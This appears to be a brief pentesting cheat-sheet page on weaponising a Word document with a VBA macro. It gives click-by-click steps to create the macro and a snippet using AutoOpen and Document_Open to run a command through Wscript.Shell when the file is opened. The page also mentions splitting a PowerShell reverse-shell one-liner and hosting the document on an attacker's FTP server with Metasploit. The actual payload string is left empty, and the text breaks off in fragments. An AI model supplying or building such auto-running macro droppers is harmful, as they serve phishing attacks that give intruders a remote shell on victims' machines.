Macro

Manual Method

Open Word Document  View  Macros  Macro Name: MyMacro  Macros in: Document(1)  Create
Save it in only .docm or .doc format .docx is not supported.

# Paste this Snippet in Macro.
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String

    CreateObject("Wscript.Shell").Run Str
End Sub
# Save as Word 97-2003 Document Template

One more step is having Split Powershell one-liner for the reverse shell, so we have 3 step process:

Metasploit

  1. Upload the doc file to the attacker’s FTP or somewhere with the payload

Last updated